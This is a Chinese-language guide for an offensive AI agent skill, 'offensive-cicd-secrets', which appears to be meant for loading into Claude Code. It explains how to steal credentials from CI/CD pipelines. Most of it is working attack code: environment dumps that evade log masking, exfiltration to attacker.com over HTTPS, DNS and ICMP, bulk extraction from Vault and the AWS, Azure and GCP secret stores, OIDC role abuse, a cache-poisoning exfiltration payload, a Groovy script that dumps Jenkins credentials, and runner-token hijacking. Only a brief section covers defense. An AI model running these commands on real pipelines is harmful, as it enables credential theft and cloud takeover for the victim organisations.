关于 offensive-cicd-secrets
面向授权安全测试人员的 CI/CD 凭据提取技能指南,介绍多个平台中凭据的发现、验证与后续访问扩展。内容涵盖环境变量、密钥管理服务、OIDC 联邦、日志、缓存及平台凭据存储。
主要功能
- 01枚举环境变量中的凭据
- 02检查密钥管理服务配置
- 03评估 OIDC 联邦信任
- 04分析构建日志与缓存
- 05检查平台凭据存储和令牌
适用场景
- 01评估流水线凭据暴露路径
- 02检查云身份联邦信任配置
- 03排查日志和缓存中的凭据泄露
- 04确定已获取凭据的访问范围
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-cicd-secrets安装后在 Claude Code 中输入/offensive-cicd-secrets确认已加载。
详细介绍
CI/CD 凭据窃取
CI/CD 环境中的秘密是攻陷流水线的首要目标。每条流水线都持有凭据——部署密钥、云服务提供商令牌、API 秘密、镜像仓库密码、数据库连接字符串——而保护这些凭据的机制始终比保护生产环境秘密的机制薄弱。你要利用 CI/CD 设计中的根本矛盾:流水线需要凭据来进行部署,但执行流水线的环境是临时的、共享的,而且任何能够发起拉取请求的人通常都可以访问这些环境。
本技能系统地涵盖了 CI/CD 平台中的所有提取路径,从简单的环境变量转储到复杂的 OIDC 联合滥用。你要枚举现有秘密,确定适用的提取技术,获取凭据,并利用这些凭据扩大访问范围。
MITRE ATT&CK:T1552(未保护的凭据)、T1552.001(文件中的凭据)、T1552.004(私钥)、T1552.007(容器 API)
快速工作流
- 在 CI/CD 流水线中获得代码执行能力(注入途径请参阅 offensive-cicd-pipeline 技能)。
- 枚举执行环境——平台、运行器类型、可用工具、网络访问权限。
- 转储所有环境变量,并筛选符合秘密特征的内容。
- 使用可用令牌(GITHUB_TOKEN、CI_JOB_TOKEN、PAT)查询平台专属凭据存储。
- 检查是否集成了保管库/秘密管理器,并测试配置是否错误。
- 检查构建日志、缓存和制品中是否泄露了凭据。
- 如果存在云服务提供商集成,则测试 OIDC 联合信任。
- 验证获取到的凭据并确定其权限范围。
- 利用获取到的秘密访问其他系统、镜像仓库和云资源。
环境变量提取
每个 CI/CD 平台都会将秘密注入为环境变量。在任何遭到入侵的流水线中,你的首要操作都是全面转储环境变量。平台会尝试在日志中屏蔽秘密值,但这种屏蔽很容易绕过。
直接提取
# Full environment dump -- works on all platforms
env | sort
# Base64 encode to bypass log masking
env | base64
# Reverse the string to defeat pattern-matching masks
env | rev
# Character-by-character extraction defeats even advanced masking
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
value=$(printenv "$var")
echo -n "$var="
echo "$value" | fold -w1 | paste -sd' '
done
# Hex encoding for binary-safe exfiltration
env | xxd -p | tr -d '\n'
针对性模式匹配
# Extract high-value variables by naming convention
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
# Search for variables containing credential-shaped values
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values
env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens
env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens
env | grep -E '=glpat-[A-Za-z0-9\-]{20}' # GitLab personal access tokens
env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs
env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
# Find secrets in process memory (if /proc is available)
strings /proc/self/environ 2>/dev/null
strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
数据外传渠道
# HTTPS POST exfiltration (most reliable)
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
# DNS exfiltration for restricted networks
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
nslookup "${secret}.exfil.attacker.com" 2>/dev/null
done
# ICMP exfiltration when HTTP is blocked
env | xxd -p | fold -w 32 | while read chunk; do
ping -c 1 -p "$chunk" attacker.com 2>/dev/null
done
# Write to pipeline artifact for later retrieval
env | base64 > /tmp/build-metrics.dat
# Then upload as artifact through the platform's mechanism
保管库和秘密管理器配置错误
CI/CD 流水线经常会集成秘密管理器。你要利用流水线向这些系统进行身份验证并获取秘密时出现的配置错误。
HashiCorp Vault
# Check if Vault environment is configured
echo "VAULT_ADDR: $VAULT_ADDR"
echo "VAULT_TOKEN: $VAULT_TOKEN"
echo "VAULT_ROLE_ID: $VAULT_ROLE_ID"
echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"
# If VAULT_TOKEN is present, enumerate accessible secrets
vault secrets list 2>/dev/null || \
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
# List and read KV secrets
vault kv list secret/ 2>/dev/null || \
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
# Attempt to read common secret paths
for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do
echo "--- $path ---"
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data'
done
# If AppRole credentials are available, authenticate
curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login" \
-d "{\"role_id\": \"$VAULT_ROLE_ID\", \"secret_id\": \"$VAULT_SECRET_ID\"}" | jq '.'
# Check token capabilities -- often over-permissioned for CI
curl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN" \
"$VAULT_ADDR/v1/sys/capabilities-self" \
-d '{"paths": ["secret/*", "aws/*", "database/*", "ssh/*"]}' | jq '.'
AWS Secrets Manager 和 Parameter Store
# Check for AWS credentials in the environment
echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"
echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..."
echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"
# Check if running on EC2 with instance metadata
curl -sS -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
# List all secrets in Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table
# Extract secret values
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' | \
while read name; do
echo "=== $name ==="
aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null
done
# SSM Parameter Store -- often contains credentials with weak IAM boundaries
aws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
Azure Key Vault
# Check for Azure managed identity
curl -sS -m 2 -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
2>/dev/null | jq '.access_token'
# List Key Vaults accessible to the current identity
az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table
# Extract all secrets from a vault
VAULT_NAME="target-vault"
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv | \
while read name; do
echo "=== $name ==="
az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv
done
# Extract certificates and keys
az keyvault certificate list --vault-name "$VAULT_NAME" --output table
az keyvault key list --vault-name "$VAULT_NAME" --output table
GCP Secret Manager
# Check for GCP credentials
echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS"
cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'
# Use metadata server for default credentials
curl -sS -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'
# List all secrets in the project
gcloud secrets list --format='table(name, replication.automatic)'
# Extract secret values
gcloud secrets list --format='value(name)' | while read name; do
echo "=== $name ==="
gcloud secrets versions access latest --secret="$name" 2>/dev/null
done
OIDC 联合攻击
OIDC 联合允许 CI/CD 流水线在不存储长期凭据的情况下向云服务提供商进行身份验证。你要利用联合配置中的信任配置错误,从未经授权的上下文中代入角色。
GitHub Actions OIDC
# GitHub Actions requests an OIDC token from the GitHub token endpoint
# The token contains claims about the workflow context
steps:
- name: Extract OIDC token and examine claims
run: |
# Request the OIDC token
OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')
# Decode and examine the claims (header.payload.signature)
echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# The claims include:
# sub: repo:org/repo:ref:refs/heads/main
# repository: org/repo
# ref: refs/heads/main
# If the AWS role trust policy is overly permissive (e.g., trusts any ref
# or any repo in the org), you can assume it from a fork or feature branch
攻击场景——信任策略范围过宽:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:target-org/*"
}
}
}]
}
# This trust policy accepts ANY repository in the org
# If you can create a repo in the org or find any repo with Actions write access,
# you can assume this role
# From your controlled workflow in any org repo:
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role" \
--role-session-name "exploit" \
--web-identity-token "$OIDC_TOKEN"
GitLab CI OIDC
# GitLab CI can also issue OIDC tokens
extract_oidc:
script:
- |
# GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2
echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
# Claims include namespace_path, project_path, ref, ref_protected
# Misconfigured trust policies may not validate ref_protected or project_path
# Assume AWS role using GitLab OIDC token
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
--role-session-name "gitlab-exploit" \
--web-identity-token "$CI_JOB_JWT_V2"
id_tokens:
CUSTOM_TOKEN:
aud: https://aws.amazon.com
构建日志和缓存利用
构建日志和缓存中经常会包含因脚本疏忽、详细输出模式或调试配置而泄露的凭据。
日志分析
# GitHub Actions: Retrieve workflow run logs via API
# Requires a token with actions:read scope
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/OWNER/REPO/actions/runs" | \
jq '.workflow_runs[:10] | .[].id' | while read run_id; do
curl -sS -L -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs" \
-o "run_${run_id}.zip"
unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null
done
# Search extracted logs for leaked secrets
grep -rihE '(password|secret|token|key|credential)[\s]*[=:][\s]*\S+' logs_*/ 2>/dev/null
grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_*/ 2>/dev/null
grep -rihE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null # JWT tokens
# Jenkins: Build console output often contains unmasked secrets
curl -sS -u "user:$JENKINS_TOKEN" \
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" | \
grep -iE 'password|secret|token|key'
利用缓存投毒进行数据外传
# GitHub Actions: Poison the build cache to exfiltrate secrets on next run
# First run: inject exfiltration script into cached dependencies
steps:
- uses: actions/cache@v4
with:
path: ~/.npm
key: npm-cache-${{ hashFiles('package-lock.json') }}
- run: |
# Inject into a cached module that executes during install
mkdir -p ~/.npm/_preinstall
cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD'
#!/bin/bash
env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil &
PAYLOAD
chmod +x ~/.npm/_preinstall/exfil.sh
# Modify a cached package's install script to trigger it
GitLab CI 共享缓存的工作方式类似——使用 cache: policy: push 将有效载荷注入 node_modules/,拉取同一缓存键的部署任务就会执行它。
平台专属凭据存储
每个 CI/CD 平台都有自己的凭据存储机制和相应的提取技术。
GitHub Actions 秘密
# GitHub Actions secrets are injected as environment variables
# They are masked in logs but accessible programmatically
# List all secrets available to the workflow (names only, via API)
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
# Organization-level secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
# Repository environment secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" | \
jq '.environments[].name' | while read env_name; do
echo "=== Environment: $env_name ==="
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.'
done
# Values require code execution in the pipeline context -- use env dump techniques above
Jenkins 凭据存储
// Groovy script to extract all Jenkins credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.domains.Domain
import jenkins.model.Jenkins
def store = Jenkins.instance.getExtensionList(
'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0].getStore()
store.getDomains().each { domain ->
store.getCredentials(domain).each { cred ->
println "=== ${cred.id} (${cred.class.simpleName}) ==="
if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
println "---"
}
}
要离线解密 credentials.xml,你需要 Jenkins 主目录中的 secrets/master.key 和 secrets/hudson.util.Secret。对主密钥进行 SHA-256 哈希处理,使用前 16 个字节通过 AES-ECB 解密 hudson 秘密,然后将其作为 AES-128-CBC 密钥(IV 为加密数据块的第 1 至第 17 个字节)来解密单个凭据条目。
GitLab CI 变量
# Extract variables using CI_JOB_TOKEN (limited scope)
curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
# With a personal access token or impersonation token (broader scope)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | \
jq '.[] | {key, value, protected, masked, environment_scope}'
# Group variables (inherited by all projects in the group)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" | \
jq '.[] | {key, value, protected}'
# Instance variables (requires admin access)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
# File-type variables are written to disk -- find them
find /builds -name "*.env" -o -name "*.key" -o -name "*.pem" -o -name "*.json" 2>/dev/null | \
while read f; do echo "=== $f ==="; cat "$f"; done
Docker Registry 凭据窃取
构建并推送容器镜像的 CI/CD 流水线会存储 Docker Registry 凭据。你可以从运行器文件系统、环境变量或 Docker 凭据助手链中提取这些凭据。
# Check Docker configuration for stored credentials
cat ~/.docker/config.json 2>/dev/null | jq '.'
# Look for credHelpers, credStore, and direct auths entries
# Extract from Docker credential helpers
docker-credential-gcr list 2>/dev/null
docker-credential-ecr-login list 2>/dev/null
docker-credential-desktop list 2>/dev/null
# For each credential helper, get the stored credentials
for helper in gcr ecr-login desktop secretservice pass; do
echo "=== docker-credential-$helper ==="
echo "" | docker-credential-$helper list 2>/dev/null | \
jq -r 'keys[]' 2>/dev/null | while read registry; do
echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.'
done
done
# Check for registry tokens in environment
env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort
# GitHub Container Registry token -- GITHUB_TOKEN often has packages:write
echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin
# AWS ECR -- extract temporary credentials
aws ecr get-login-password --region us-east-1
# GCP Artifact Registry
gcloud auth print-access-token
服务连接和运行器令牌
云服务连接和运行器令牌提供了从 CI/CD 直接横向移动到基础设施的路径。
# Azure DevOps service connections -- credentials injected as env vars
echo "ARM_CLIENT_ID: $ARM_CLIENT_ID"
echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..."
az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID"
az role assignment list --assignee "$ARM_CLIENT_ID" --output table
# GCP service account keys on runners
find / -name "*.json" -exec grep -l "private_key_id" {} \; 2>/dev/null
gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com
# AWS cross-account role assumption
aws sts get-caller-identity
运行器令牌可用于拦截任务和注册恶意运行器:
# GitHub Actions self-hosted runner credentials
cat /home/runner/.runner 2>/dev/null | jq '.'
cat /home/runner/.credentials 2>/dev/null
find / -path "*actions-runner*" -name ".runner" 2>/dev/null
# GitLab runner token extraction
grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null
# Claim jobs with a stolen GitLab runner token
curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request" \
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
# Jenkins agent secret files
find / -name "secret.key" -path "*/jenkins/*" 2>/dev/null
检测 / 防御者视角
防御者应实施以下控制措施,并监控这些指标:
- 环境变量访问模式:当流水线步骤在预期的调试场景之外执行
env、printenv或访问/proc/self/environ时发出警报。 - 出站数据外泄:监控运行器网络流量,查找向未知主机发送的 POST 请求和异常的 DNS 查询模式。
- 机密访问审计:启用保管库/机密管理器访问日志。针对批量枚举机密,或来自意外 IP 范围的访问发出警报。
- OIDC 令牌声明验证:确保云服务提供商的信任策略验证特定声明(存储库、分支、环境),而非采用宽泛的组织级信任。
- 日志清理:使用 truffleHog 或 detect-secrets 在存储前扫描构建日志中的凭据模式。
- 缓存完整性:实施缓存签名或校验和,以检测投毒。
- 运行器文件系统卫生:使用临时运行器。对持久运行器,在各任务之间清理文件系统。
- 令牌轮换:定期轮换运行器注册令牌。监控意外的运行器注册。
- 最小化凭据权限范围:对所有 CI/CD 凭据应用最小权限原则。使用短期令牌。分离读写凭据。
关键防御控制:优先使用声明约束严格的 OIDC,而非长期凭据;为所有机密平台启用审计日志;使用临时的、基于容器的运行器;通过环境保护规则限制机密访问;为构建环境实施网络分段。
攻防速查表
| 向量 | 平台 | 所需访问权限 | 影响 |
|---|---|---|---|
| 环境变量转储 | 全部 | 流水线执行 | 所有注入的机密 |
| 绕过日志掩码 | 全部 | 流水线执行 | 日志中的机密值 |
| 重用保管库令牌 | 全部 + Vault | 流水线执行 | 访问 Vault 机密 |
| AWS 元数据/凭据 | AWS 运行器 | 流水线执行 | AWS 账户访问 |
| Azure 托管标识 | Azure 运行器 | 流水线执行 | Azure 订阅 |
| GCP 元数据/SA 密钥 | GCP 运行器 | 流水线执行 | GCP 项目访问 |
| 滥用 OIDC 联合身份验证 | GitHub/GitLab | 受信组织中的工作流 | 假定云角色 |
| 构建日志分析 | 全部 | 日志读取权限 | 泄露的凭据 |
| 缓存投毒 | GitHub/GitLab | 缓存写入权限 | 凭据外泄 |
| Jenkins 凭据转储 | Jenkins | 脚本控制台访问 | 所有存储的凭据 |
| 提取 GitLab 变量 | GitLab | API 令牌 | 项目/群组机密 |
| 窃取 Docker 配置 | 全部 | 运行器文件系统 | Registry 凭据 |
| 捕获运行器令牌 | GitHub/GitLab | 运行器文件系统 | 任务拦截 |
| 窃取服务连接 | Azure DevOps | 流水线执行 | 云基础设施访问 |
| SSM Parameter Store | AWS | 流水线执行 | 已存储的参数 |
| 提取 Key Vault | Azure | 流水线执行 | 保管库机密/密钥 |
关键参考资料
- MITRE ATT&CK T1552:https://attack.mitre.org/techniques/T1552/
- OWASP CI/CD 十大风险(CICD-SEC-6):https://owasp.org/www-project-top-10-ci-cd-security-risks/
- GitHub Actions 密钥加固:https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions
- GitLab CI/CD 变量安全:https://docs.gitlab.com/ee/ci/variables/#cicd-variable-security
- Jenkins 凭据插件:https://plugins.jenkins.io/credentials/
- HashiCorp Vault CI/CD 集成:https://developer.hashicorp.com/vault/tutorials/app-integration
- GitHub Actions 中的 AWS OIDC:https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html
- truffleHog:https://github.com/trufflesecurity/trufflehog
- detect-secrets:https://github.com/Yelp/detect-secrets